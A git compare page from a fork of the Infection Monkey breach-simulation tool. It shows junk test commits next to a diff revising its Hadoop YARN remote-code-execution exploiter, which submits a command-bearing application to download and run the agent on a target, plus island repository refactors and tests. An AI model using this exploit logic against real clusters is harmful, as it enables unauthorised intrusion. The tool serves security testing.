Compare commits

..

52 Commits

Author SHA1 Message Date
p34709852 994f7de8e3 Update README.md 2022-10-12 13:27:11 +08:00
wutao dedde27c8c 11222223333 2022-10-11 15:35:25 +08:00
wutao 1d0f3c8e50 测试1111111111 2022-10-11 14:38:05 +08:00
wutao 25054d8479 Merge branch 'develop' of http://111.8.36.180:3000/p15670423/monkey into develop 2022-10-11 14:37:24 +08:00
wutao 5273769ca7 测试 2022-10-11 14:37:03 +08:00
p15670423 c4b2f4d171 Delete 'test_dumps03.py' 2022-10-11 14:01:23 +08:00
p15670423 bfe3e6da58 Delete 'test_dumps01.py' 2022-10-11 14:01:10 +08:00
p15670423 dbab067af5 Delete 'test03.txt' 2022-10-11 14:00:54 +08:00
p15670423 453dd67e03 Delete 'requirements.txt' 2022-10-11 14:00:45 +08:00
p15670423 386bbf84b2 ddfyas
ysdf
Co-authored-by: p15670423 <p15670423@example.org>
Co-committed-by: p15670423 <p15670423@example.org>
2022-10-11 14:00:25 +08:00
p15670423 4cd9fd289e Delete 'test_dumps03.py' 2022-10-11 13:59:36 +08:00
p15670423 ffdf699f32 Delete 'test_dumps01.py' 2022-10-11 13:59:26 +08:00
p15670423 036742925c Delete 'test03.txt' 2022-10-11 13:59:16 +08:00
p15670423 017d109a77 Delete 'requirements.txt' 2022-10-11 13:58:46 +08:00
p15670423 14ea13c6ee ces
ceees
Co-authored-by: p15670423 <p15670423@example.org>
Co-committed-by: p15670423 <p15670423@example.org>
2022-10-11 13:56:30 +08:00
p15670423 00034313b1 Delete 'test03.txt' 2022-10-11 13:55:26 +08:00
p34709852 bef6e2c37f ADD file via upload 2022-10-11 13:50:14 +08:00
p34709852 f10c9f7e29 Delete 'requirements.txt' 2022-10-11 13:48:45 +08:00
p34709852 b0d3201186 Delete 'test_dumps03.py' 2022-10-11 13:47:11 +08:00
p15670423 73cc1994d9 Update test_dumps03.py 2022-10-11 13:42:14 +08:00
p15670423 9208f6691d Update requirements.txt 2022-10-11 13:41:56 +08:00
p15670423 73a326a3e3 no-ff
no-ff方式。。。。。。。。。。。
2022-10-11 13:30:17 +08:00
p15670423 4188bb507c Update test_dumps03.py 2022-10-11 13:30:17 +08:00
p34709852 7985a6b07f Add requirements.txt 2022-10-11 13:30:17 +08:00
p34709852 c8859701c8 ADD file via upload 2022-10-11 13:30:17 +08:00
p34709852 880a2d68e8 Delete 'test_dumps01.py' 2022-10-11 13:28:20 +08:00
p34709852 a47ca4dac8 ADD file via upload 2022-10-11 11:36:11 +08:00
p15670423 f803f88afc 确认合并
测试,,,,,,,,,,,,,,,,,,
2022-10-11 09:55:06 +08:00
p34709852 09b3b42dc5 ADD file via upload 2022-10-10 14:48:05 +08:00
p31829507 de18b55417 Add test_dumps.py 2022-10-10 14:39:32 +08:00
p31829507 9071fc90aa Add test_dumps 2022-10-10 14:38:31 +08:00
wutao 4505399049 测试:重复提交代码 2022-10-10 13:40:54 +08:00
wutao f5bfdc430c 测试:提交代码 2022-10-10 13:36:32 +08:00
wutao 0382831701 测试:提交代码 2022-10-10 13:34:44 +08:00
Mike Salvatore 04fec93c39 Merge branch '2269-publish-events-from-hadoop-exploiter' into develop
PR #2396
2022-10-07 09:37:37 -04:00
Ilija Lazoroski 7a664218bd Agent: Check all potential urls in Hadoop 2022-10-07 15:13:04 +02:00
Mike Salvatore 66f5d7a86a Agent: Remove errant exploitation event from hadoop
If no potential URLs are found, then no exploit is attempted, so there's
no reason to publish an ExploitationEvent.
2022-10-07 08:35:24 -04:00
Ilija Lazoroski 25073be9f3 Agent: Remove adding vulnerable urls in Hadoop
Adding vulnerable ulrs causes check to see if the target is exploitable
which calls self.exploit
2022-10-07 11:46:35 +02:00
Ilija Lazoroski c02d43556a Agent: Make Hadoop tags uppercase 2022-10-07 11:46:35 +02:00
Ilija Lazoroski 8bdb30dcfb Agent: Rename stamp to timestamp in Hadoop 2022-10-07 11:46:35 +02:00
Ilija Lazoroski 8f6df12d9c Agent: Modify HadoopExploiter tags to be properties 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 76a3cb0ba0 Agent: Stamp time before exploit executes 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala de5d365bb0 Agent: Publish events sooner 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 3e592cfa69 Agent: Use exploiter tag properties 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 4a0a24dde2 Agent: Update hadoop exploiter tags T1570 -> T1105 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 76ae57281d Agent: Use EXPLOIT_TAGS for exploitation event 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala 54b551b728 Agent: Update tags for hadoop events 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala c31aed94ea Agent: Move successful explotiation event publish 2022-10-07 11:46:35 +02:00
Kekoa Kaaikala bee1047024 Agent: Update hadoop failed event publishing 2022-10-07 11:46:34 +02:00
Kekoa Kaaikala 57af640317 Agent: Use correct publish method names 2022-10-07 11:46:34 +02:00
Ilija Lazoroski 9c185a3a78 Agent: Add tags and error messages in Hadoop 2022-10-07 11:46:34 +02:00
Ilija Lazoroski fe864792f3 Agent: Publish Propagation and Exploitation events from Hadoop 2022-10-07 11:46:34 +02:00
25 changed files with 202 additions and 372 deletions

View File

@ -29,7 +29,7 @@ Monkey on our [website](https://www.akamai.com/infectionmonkey).
For more information, or to apply, see the official job post:
- [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224)
test1111
## Screenshots

13
c/test_dumps.py Normal file
View File

@ -0,0 +1,13 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

1
ces.txt Normal file
View File

@ -0,0 +1 @@
是分为氛围

1
ces11.txt Normal file
View File

@ -0,0 +1 @@
123456

View File

@ -5,13 +5,20 @@
"""
import json
import logging
import posixpath
import random
import string
from time import time
import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE
@ -23,6 +30,10 @@ from infection_monkey.model import (
)
from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
class HadoopExploiter(WebRCE):
_EXPLOITED_SERVICE = "Hadoop"
@ -32,39 +43,43 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name
RAN_STR_LEN = 6
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(HadoopExploiter, self).__init__()
def _exploit_host(self):
# Try to get exploitable url
urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
self.add_vulnerable_urls(urls, True)
if not self.vulnerable_urls:
# Try to get potential urls
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
if not potential_urls:
self.exploit_result.error_message = (
f"No potential exploitable urls has been found for {self.host}"
)
return self.exploit_result
try:
monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
return self.exploit_result
monkey_path_on_victim = get_agent_dst_path(self.host)
http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_binary_repository
)
command = self._build_command(monkey_path_on_victim, http_path)
try:
command = self._build_command(monkey_path_on_victim, http_path)
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
for url in potential_urls:
if self.exploit(url, command):
self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True
break
finally:
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
return self.exploit_result
def exploit(self, url, command):
def exploit(self, url: str, command: str):
if self._is_interrupted():
self._set_interrupted()
return False
@ -73,8 +88,8 @@ class HadoopExploiter(WebRCE):
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
)
resp = json.loads(resp.content)
app_id = resp["application-id"]
resp_dict = json.loads(resp.content)
app_id = resp_dict["application-id"]
# Create a random name for our application in YARN
# random.SystemRandom can block indefinitely in Linux
@ -87,10 +102,16 @@ class HadoopExploiter(WebRCE):
self._set_interrupted()
return False
timestamp = time()
resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
)
return resp.status_code == 202
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
def check_if_exploitable(self, url):
try:

View File

@ -1,4 +1,3 @@
from .save_event_to_event_repository import save_event_to_event_repository
from .save_stolen_credentials_to_repository import save_stolen_credentials_to_repository
from .scan_event_handler import ScanEventHandler
from .update_nodes_on_exploitation import update_nodes_on_exploitation

View File

@ -1,33 +0,0 @@
from functools import lru_cache
from ipaddress import IPv4Address, IPv4Interface
from common.agent_events import AbstractAgentEvent
from common.types import AgentID, MachineID
from monkey_island.cc.models import Machine
from monkey_island.cc.repository import IAgentRepository, IMachineRepository, UnknownRecordError
class NodeUpdateFacade:
def __init__(self, agent_repository: IAgentRepository, machine_repository: IMachineRepository):
self._agent_repository = agent_repository
self._machine_repository = machine_repository
def get_or_create_target_machine(self, target: IPv4Address):
try:
target_machines = self._machine_repository.get_machines_by_ip(target)
return target_machines[0]
except UnknownRecordError:
machine = Machine(
id=self._machine_repository.get_new_id(),
network_interfaces=[IPv4Interface(target)],
)
self._machine_repository.upsert_machine(machine)
return machine
def get_event_source_machine(self, event: AbstractAgentEvent) -> Machine:
machine_id = self._get_machine_id_from_agent_id(event.source)
return self._machine_repository.get_machine_by_id(machine_id)
@lru_cache(maxsize=None)
def _get_machine_id_from_agent_id(self, agent_id: AgentID) -> MachineID:
return self._agent_repository.get_agent_by_id(agent_id).machine_id

View File

@ -1,10 +1,11 @@
from ipaddress import IPv4Interface
from logging import getLogger
from typing import List, Union
from typing import Union
from typing_extensions import TypeAlias
from common.agent_events import PingScanEvent, TCPScanEvent
from common.types import NetworkService, PortStatus, SocketAddress
from common.types import PortStatus, SocketAddress
from monkey_island.cc.models import CommunicationType, Machine, Node
from monkey_island.cc.repository import (
IAgentRepository,
@ -15,8 +16,6 @@ from monkey_island.cc.repository import (
UnknownRecordError,
)
from .node_update_facade import NodeUpdateFacade
ScanEvent: TypeAlias = Union[PingScanEvent, TCPScanEvent]
logger = getLogger(__name__)
@ -33,7 +32,6 @@ class ScanEventHandler:
machine_repository: IMachineRepository,
node_repository: INodeRepository,
):
self._node_update_facade = NodeUpdateFacade(agent_repository, machine_repository)
self._agent_repository = agent_repository
self._machine_repository = machine_repository
self._node_repository = node_repository
@ -51,7 +49,7 @@ class ScanEventHandler:
logger.exception("Unable to process ping scan data")
def handle_tcp_scan_event(self, event: TCPScanEvent):
num_open_ports = len(self._get_open_ports(event))
num_open_ports = sum((1 for status in event.ports.values() if status == PortStatus.OPEN))
if num_open_ports <= 0:
return
@ -62,21 +60,24 @@ class ScanEventHandler:
self._update_nodes(target_machine, event)
self._update_tcp_connections(source_node, target_machine, event)
self._update_network_services(target_machine, event)
except (RetrievalError, StorageError, UnknownRecordError):
logger.exception("Unable to process tcp scan data")
def _get_target_machine(self, event: ScanEvent) -> Machine:
return self._node_update_facade.get_or_create_target_machine(event.target)
try:
target_machines = self._machine_repository.get_machines_by_ip(event.target)
return target_machines[0]
except UnknownRecordError:
machine = Machine(
id=self._machine_repository.get_new_id(),
network_interfaces=[IPv4Interface(event.target)],
)
self._machine_repository.upsert_machine(machine)
return machine
def _get_source_node(self, event: ScanEvent) -> Node:
machine = self._get_source_machine(event)
try:
node = self._node_repository.get_node_by_machine_id(machine.id)
except UnknownRecordError:
node = Node(machine_id=machine.id)
self._node_repository.upsert_node(node)
return node
return self._node_repository.get_node_by_machine_id(machine.id)
def _get_source_machine(self, event: ScanEvent) -> Machine:
agent = self._agent_repository.get_agent_by_id(event.source)
@ -87,17 +88,6 @@ class ScanEventHandler:
machine.operating_system = event.os
self._machine_repository.upsert_machine(machine)
def _update_network_services(self, target: Machine, event: TCPScanEvent):
network_services = {
SocketAddress(ip=event.target, port=port): NetworkService.UNKNOWN
for port in self._get_open_ports(event)
}
self._machine_repository.upsert_network_services(target.id, network_services)
@staticmethod
def _get_open_ports(event: TCPScanEvent) -> List[int]:
return [port for port, status in event.ports.items() if status == PortStatus.OPEN]
def _update_nodes(self, target_machine: Machine, event: ScanEvent):
src_machine = self._get_source_machine(event)
@ -107,7 +97,7 @@ class ScanEventHandler:
def _update_tcp_connections(self, src_node: Node, target_machine: Machine, event: TCPScanEvent):
tcp_connections = set()
open_ports = self._get_open_ports(event)
open_ports = (port for port, status in event.ports.items() if status == PortStatus.OPEN)
for open_port in open_ports:
socket_address = SocketAddress(ip=event.target, port=open_port)
tcp_connections.add(socket_address)

View File

@ -3,7 +3,6 @@ from ipaddress import IPv4Interface
from typing import Any, Dict, Mapping, Optional, Sequence
from pydantic import Field, validator
from typing_extensions import TypeAlias
from common import OperatingSystem
from common.base_models import MutableInfectionMonkeyBaseModel, MutableInfectionMonkeyModelConfig
@ -12,8 +11,6 @@ from common.types import HardwareID, NetworkService, SocketAddress
from . import MachineID
NetworkServices: TypeAlias = Dict[SocketAddress, NetworkService]
def _serialize_network_services(machine_dict: Dict, *, default):
machine_dict["network_services"] = {
@ -64,7 +61,7 @@ class Machine(MutableInfectionMonkeyBaseModel):
hostname: str = ""
"""The hostname of the machine"""
network_services: NetworkServices = Field(default_factory=dict)
network_services: Mapping[SocketAddress, NetworkService] = Field(default_factory=dict)
"""All network services found running on the machine"""
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(

View File

@ -24,7 +24,7 @@ class Node(MutableInfectionMonkeyBaseModel):
machine_id: MachineID = Field(..., allow_mutation=False)
"""The MachineID of the node (source)"""
connections: NodeConnections = {}
connections: NodeConnections
"""All outbound connections from this node to other machines"""
tcp_connections: TCPConnections = {}

View File

@ -4,7 +4,6 @@ from typing import Sequence
from common.types import HardwareID
from monkey_island.cc.models import Machine, MachineID
from monkey_island.cc.models.machine import NetworkServices
class IMachineRepository(ABC):
@ -30,16 +29,6 @@ class IMachineRepository(ABC):
:raises StorageError: If an error occurs while attempting to store the `Machine`
"""
@abstractmethod
def upsert_network_services(self, machine_id: MachineID, services: NetworkServices):
"""
Add/update network services on the machine
:param machine_id: ID of machine with services to be updated
:param services: Network services to be added to machine model
:raises UnknownRecordError: If the Machine is not found
:raises StorageError: If an error occurs while attempting to add/store the services
"""
@abstractmethod
def get_machine_by_id(self, machine_id: MachineID) -> Machine:
"""

View File

@ -44,14 +44,6 @@ class INodeRepository(ABC):
:raises RetrievalError: If an error occurs while attempting to retrieve the nodes
"""
@abstractmethod
def upsert_node(self, node: Node):
"""
Update or insert Node model into the database
:param node: Node model to be added to the repository
:raises StorageError: If something went wrong when upserting the Node
"""
@abstractmethod
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
"""

View File

@ -7,10 +7,8 @@ from pymongo import MongoClient
from common.types import HardwareID
from monkey_island.cc.models import Machine, MachineID
from ..models.machine import NetworkServices
from . import IMachineRepository, RemovalError, RetrievalError, StorageError, UnknownRecordError
from .consts import MONGO_OBJECT_ID_KEY
from .utils import DOT_REPLACEMENT, mongo_dot_decoder, mongo_dot_encoder
class MongoMachineRepository(IMachineRepository):
@ -34,32 +32,26 @@ class MongoMachineRepository(IMachineRepository):
def upsert_machine(self, machine: Machine):
try:
machine_dict = mongo_dot_encoder(machine.dict(simplify=True))
result = self._machines_collection.replace_one(
{"id": machine.id}, machine_dict, upsert=True
{"id": machine.id}, machine.dict(simplify=True), upsert=True
)
except Exception as err:
raise StorageError(f'Error updating machine with ID "{machine.id}": {err}')
if result.matched_count != 0 and result.modified_count != 1:
raise StorageError(
f'Error updating machine with ID "{machine.id}": Expected to update 1 machine, '
f"but {result.modified_count} were updated"
)
if result.matched_count == 0 and result.upserted_id is None:
raise StorageError(
f'Error inserting machine with ID "{machine.id}": Expected to insert 1 machine, '
f"but no machines were inserted"
)
def upsert_network_services(self, machine_id: MachineID, services: NetworkServices):
machine = self.get_machine_by_id(machine_id)
try:
machine.network_services.update(services)
self.upsert_machine(machine)
except Exception as err:
raise StorageError(f"Failed upserting the machine or adding services") from err
def get_machine_by_id(self, machine_id: MachineID) -> Machine:
machine = self._find_one("id", machine_id)
if not machine:
raise UnknownRecordError(f"Machine with id {machine_id} not found")
return machine
return self._find_one("id", machine_id)
def get_machine_by_hardware_id(self, hardware_id: HardwareID) -> Machine:
return self._find_one("hardware_id", hardware_id)
@ -75,7 +67,6 @@ class MongoMachineRepository(IMachineRepository):
if machine_dict is None:
raise UnknownRecordError(f'Unknown machine with "{key} == {search_value}"')
machine_dict = mongo_dot_decoder(machine_dict)
return Machine(**machine_dict)
def get_machines(self) -> Sequence[Machine]:
@ -84,10 +75,10 @@ class MongoMachineRepository(IMachineRepository):
except Exception as err:
raise RetrievalError(f"Error retrieving machines: {err}")
return [Machine(**mongo_dot_decoder(m)) for m in cursor]
return [Machine(**m) for m in cursor]
def get_machines_by_ip(self, ip: IPv4Address) -> Sequence[Machine]:
ip_regex = "^" + str(ip).replace(".", DOT_REPLACEMENT) + "\\/.*$"
ip_regex = "^" + str(ip).replace(".", "\\.") + "\\/.*$"
query = {"network_interfaces": {"$elemMatch": {"$regex": ip_regex}}}
try:
@ -95,7 +86,7 @@ class MongoMachineRepository(IMachineRepository):
except Exception as err:
raise RetrievalError(f'Error retrieving machines with ip "{ip}": {err}')
machines = [Machine(**mongo_dot_decoder(m)) for m in cursor]
machines = [Machine(**m) for m in cursor]
if len(machines) == 0:
raise UnknownRecordError(f'No machines found with IP "{ip}"')

View File

@ -30,7 +30,7 @@ class MongoNodeRepository(INodeRepository):
except Exception as err:
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
self.upsert_node(updated_node)
self._upsert_node(updated_node)
@staticmethod
def _add_connection_to_node(
@ -57,9 +57,9 @@ class MongoNodeRepository(INodeRepository):
node.tcp_connections[target] = tuple({*node.tcp_connections[target], *connections})
else:
node.tcp_connections[target] = connections
self.upsert_node(node)
self._upsert_node(node)
def upsert_node(self, node: Node):
def _upsert_node(self, node: Node):
try:
result = self._nodes_collection.replace_one(
{SRC_FIELD_NAME: node.machine_id}, node.dict(simplify=True), upsert=True

View File

@ -1,14 +1,12 @@
import json
import platform
from socket import gethostname
from typing import Any, Mapping
from uuid import getnode
from common import OperatingSystem
from common.network.network_utils import get_network_interfaces
from monkey_island.cc.models import Machine
from . import IMachineRepository, StorageError, UnknownRecordError
from . import IMachineRepository, UnknownRecordError
def initialize_machine_repository(machine_repository: IMachineRepository):
@ -35,34 +33,3 @@ def initialize_machine_repository(machine_repository: IMachineRepository):
hostname=gethostname(),
)
machine_repository.upsert_machine(machine)
DOT_REPLACEMENT = ",,,"
def mongo_dot_encoder(mapping: Mapping[str, Any]) -> Mapping[str, Any]:
"""
Mongo can't store keys with "." symbols (like IP's and filenames). This method
replaces all occurances of "." with ",,,"
:param mapping: Mapping to be converted to mongo compatible mapping
:return: Mongo compatible mapping
"""
mapping_json = json.dumps(mapping)
if DOT_REPLACEMENT in mapping_json:
raise StorageError(
f"Mapping {mapping} already contains {DOT_REPLACEMENT}."
f" Aborting the encoding procedure"
)
encoded_json = mapping_json.replace(".", DOT_REPLACEMENT)
return json.loads(encoded_json)
def mongo_dot_decoder(mapping: Mapping[str, Any]):
"""
Mongo can't store keys with "." symbols (like IP's and filenames). This method
reverts changes made by "mongo_dot_encoder" by replacing all occurances of ",,," with "."
:param mapping: Mapping to be converted from mongo compatible mapping to original mapping
:return: Original mapping
"""
report_as_json = json.dumps(mapping).replace(DOT_REPLACEMENT, ".")
return json.loads(report_as_json)

View File

@ -1,97 +0,0 @@
from ipaddress import IPv4Address, IPv4Interface
from unittest.mock import MagicMock
from uuid import UUID
import pytest
from common.agent_events import AbstractAgentEvent
from common.types import AgentID, MachineID, SocketAddress
from monkey_island.cc.agent_event_handlers.node_update_facade import NodeUpdateFacade
from monkey_island.cc.models import Agent, Machine
from monkey_island.cc.repository import IAgentRepository, IMachineRepository, UnknownRecordError
class TestEvent(AbstractAgentEvent):
success: bool
SEED_ID = 99
IP_ADDRESS = IPv4Address("10.10.10.99")
SOURCE_MACHINE_ID = 1
SOURCE_MACHINE = Machine(
id=SOURCE_MACHINE_ID,
hardware_id=5,
network_interfaces=[IPv4Interface(IP_ADDRESS)],
)
SOURCE_AGENT_ID = UUID("655fd01c-5eec-4e42-b6e3-1fb738c2978d")
SOURCE_AGENT = Agent(
id=SOURCE_AGENT_ID,
machine_id=SOURCE_MACHINE_ID,
start_time=0,
parent_id=None,
cc_server=(SocketAddress(ip="10.10.10.10", port=5000)),
)
EXPECTED_CREATED_MACHINE = Machine(
id=SEED_ID,
network_interfaces=[IPv4Interface(IP_ADDRESS)],
)
TEST_EVENT = TestEvent(source=SOURCE_AGENT_ID, success=True)
@pytest.fixture
def agent_repository() -> IAgentRepository:
def get_agent_by_id(agent_id: AgentID) -> Agent:
if agent_id == SOURCE_AGENT_ID:
return SOURCE_AGENT
raise UnknownRecordError()
agent_repository = MagicMock(spec=IAgentRepository)
agent_repository.get_agent_by_id = MagicMock(side_effect=get_agent_by_id)
return agent_repository
@pytest.fixture
def machine_repository() -> IMachineRepository:
def get_machine_by_id(machine_id: MachineID) -> Machine:
if machine_id == SOURCE_MACHINE_ID:
return SOURCE_MACHINE
raise UnknownRecordError()
machine_repository = MagicMock(spec=IMachineRepository)
machine_repository.get_new_id = MagicMock(return_value=SEED_ID)
machine_repository.get_machine_by_id = MagicMock(side_effect=get_machine_by_id)
return machine_repository
@pytest.fixture
def node_update_facade(
agent_repository: IAgentRepository, machine_repository: IMachineRepository
) -> NodeUpdateFacade:
return NodeUpdateFacade(agent_repository, machine_repository)
def test_return_existing_machine(node_update_facade, machine_repository):
machine_repository.get_machines_by_ip = MagicMock(return_value=[SOURCE_MACHINE])
target_machine = node_update_facade.get_or_create_target_machine(IP_ADDRESS)
assert target_machine == SOURCE_MACHINE
def test_create_new_machine(node_update_facade, machine_repository):
machine_repository.get_machines_by_ip = MagicMock(side_effect=UnknownRecordError)
target_machine = node_update_facade.get_or_create_target_machine(IP_ADDRESS)
assert target_machine == EXPECTED_CREATED_MACHINE
assert machine_repository.upsert_machine.called_once_with(target_machine)
def test_get_event_source_machine(node_update_facade):
assert node_update_facade.get_event_source_machine(TEST_EVENT) == SOURCE_MACHINE

View File

@ -8,7 +8,7 @@ import pytest
from common import OperatingSystem
from common.agent_events import PingScanEvent, TCPScanEvent
from common.types import NetworkService, PortStatus, SocketAddress
from common.types import PortStatus, SocketAddress
from monkey_island.cc.agent_event_handlers import ScanEventHandler
from monkey_island.cc.models import Agent, CommunicationType, Machine, Node
from monkey_island.cc.repository import (
@ -22,13 +22,11 @@ from monkey_island.cc.repository import (
SEED_ID = 99
AGENT_ID = UUID("1d8ce743-a0f4-45c5-96af-91106529d3e2")
SOURCE_MACHINE_ID = 11
MACHINE_ID = 11
CC_SERVER = SocketAddress(ip="10.10.10.100", port="5000")
AGENT = Agent(
id=AGENT_ID, machine_id=SOURCE_MACHINE_ID, start_time=0, parent_id=None, cc_server=CC_SERVER
)
AGENT = Agent(id=AGENT_ID, machine_id=MACHINE_ID, start_time=0, parent_id=None, cc_server=CC_SERVER)
SOURCE_MACHINE = Machine(
id=SOURCE_MACHINE_ID,
id=MACHINE_ID,
hardware_id=5,
network_interfaces=[IPv4Interface("10.10.10.99/24")],
)
@ -76,11 +74,6 @@ TCP_SCAN_EVENT = TCPScanEvent(
ports={22: PortStatus.OPEN, 80: PortStatus.OPEN, 8080: PortStatus.CLOSED},
)
EXPECTED_NETWORK_SERVICES = {
SocketAddress(ip=TARGET_MACHINE_IP, port=22): NetworkService.UNKNOWN,
SocketAddress(ip=TARGET_MACHINE_IP, port=80): NetworkService.UNKNOWN,
}
TCP_CONNECTIONS = {
TARGET_MACHINE_ID: (
SocketAddress(ip=TARGET_MACHINE_IP, port=22),
@ -127,7 +120,7 @@ def scan_event_handler(agent_repository, machine_repository, node_repository):
return ScanEventHandler(agent_repository, machine_repository, node_repository)
MACHINES_BY_ID = {SOURCE_MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE}
MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE}
MACHINES_BY_IP = {
IPv4Address("10.10.10.99"): [SOURCE_MACHINE],
IPv4Address(TARGET_MACHINE_IP): [TARGET_MACHINE],
@ -232,14 +225,14 @@ def test_handle_tcp_scan_event__ports_found(
scan_event_handler.handle_tcp_scan_event(event)
call_args = node_repository.upsert_tcp_connections.call_args[0]
assert call_args[0] == SOURCE_MACHINE_ID
assert call_args[0] == MACHINE_ID
assert TARGET_MACHINE_ID in call_args[1]
open_socket_addresses = call_args[1][TARGET_MACHINE_ID]
assert set(open_socket_addresses) == set(TCP_CONNECTIONS[TARGET_MACHINE_ID])
assert len(open_socket_addresses) == len(TCP_CONNECTIONS[TARGET_MACHINE_ID])
def test_handle_tcp_scan_event__no_source_node(
def test_handle_tcp_scan_event__no_source(
caplog, scan_event_handler, machine_repository, node_repository
):
event = TCP_SCAN_EVENT
@ -247,11 +240,8 @@ def test_handle_tcp_scan_event__no_source_node(
scan_event_handler._update_nodes = MagicMock()
scan_event_handler.handle_tcp_scan_event(event)
expected_node = Node(machine_id=SOURCE_MACHINE_ID)
node_called = node_repository.upsert_node.call_args[0][0]
assert expected_node.machine_id == node_called.machine_id
assert expected_node.connections == node_called.connections
assert expected_node.tcp_connections == node_called.tcp_connections
assert "ERROR" in caplog.text
assert "no source" in caplog.text
@pytest.mark.parametrize(
@ -392,11 +382,3 @@ def test_failed_scan(
assert not node_repository.upsert_communication.called
assert not machine_repository.upsert_machine.called
def test_network_services_handling(scan_event_handler, machine_repository):
scan_event_handler.handle_tcp_scan_event(TCP_SCAN_EVENT)
machine_repository.upsert_network_services.assert_called_with(
TARGET_MACHINE_ID, EXPECTED_NETWORK_SERVICES
)

View File

@ -1,40 +0,0 @@
import pytest
from monkey_island.cc.repository import StorageError
from monkey_island.cc.repository.utils import DOT_REPLACEMENT, mongo_dot_decoder, mongo_dot_encoder
DATASET = [
({"no:changes;expectes": "Nothing'$ changed"}, {"no:changes;expectes": "Nothing'$ changed"}),
(
{"192.168.56.1": "monkeys-running-wild.com"},
{
f"192{DOT_REPLACEMENT}168{DOT_REPLACEMENT}56{DOT_REPLACEMENT}1": f"monkeys-running-wild{DOT_REPLACEMENT}com"
},
),
(
{"...dots...": ",comma,comma,,comedy"},
{
f"{DOT_REPLACEMENT}{DOT_REPLACEMENT}{DOT_REPLACEMENT}dots"
f"{DOT_REPLACEMENT}{DOT_REPLACEMENT}{DOT_REPLACEMENT}": ",comma,comma,,comedy"
},
),
(
{"one": {"two": {"three": "this.is.nested"}}},
{"one": {"two": {"three": f"this{DOT_REPLACEMENT}is{DOT_REPLACEMENT}nested"}}},
),
]
# This dict already contains the replacement used, encoding procedure would lose data
FLAWED_DICT = {"one": {".two": {"three": f"this is with {DOT_REPLACEMENT} already!!!!"}}}
@pytest.mark.parametrize("input, expected_output", DATASET)
def test_mongo_dot_encoding_and_decoding(input, expected_output):
encoded = mongo_dot_encoder(input)
assert encoded == expected_output
assert mongo_dot_decoder(encoded) == input
def test_mongo_dot_encoding__data_loss():
with pytest.raises(StorageError):
mongo_dot_encoder(FLAWED_DICT)

View File

@ -6,7 +6,6 @@ import mongomock
import pytest
from common import OperatingSystem
from common.types import NetworkService, SocketAddress
from monkey_island.cc.models import Machine
from monkey_island.cc.repository import (
IMachineRepository,
@ -16,7 +15,6 @@ from monkey_island.cc.repository import (
StorageError,
UnknownRecordError,
)
from monkey_island.cc.repository.utils import mongo_dot_encoder
MACHINES = (
Machine(
@ -34,10 +32,6 @@ MACHINES = (
operating_system=OperatingSystem.WINDOWS,
operating_system_version="eXtra Problems",
hostname="hal",
network_services={
SocketAddress(ip="192.168.1.11", port=80): NetworkService.UNKNOWN,
SocketAddress(ip="192.168.1.12", port=80): NetworkService.UNKNOWN,
},
),
Machine(
id=3,
@ -46,10 +40,6 @@ MACHINES = (
operating_system=OperatingSystem.WINDOWS,
operating_system_version="Vista",
hostname="smith",
network_services={
SocketAddress(ip="192.168.1.11", port=80): NetworkService.UNKNOWN,
SocketAddress(ip="192.168.1.11", port=22): NetworkService.UNKNOWN,
},
),
Machine(
id=4,
@ -61,24 +51,11 @@ MACHINES = (
),
)
SERVICES_TO_ADD = {
SocketAddress(ip="192.168.1.11", port=80): NetworkService.UNKNOWN,
SocketAddress(ip="192.168.1.11", port=22): NetworkService.UNKNOWN,
}
EXPECTED_SERVICES_1 = EXPECTED_SERVICES_3 = SERVICES_TO_ADD
EXPECTED_SERVICES_2 = {
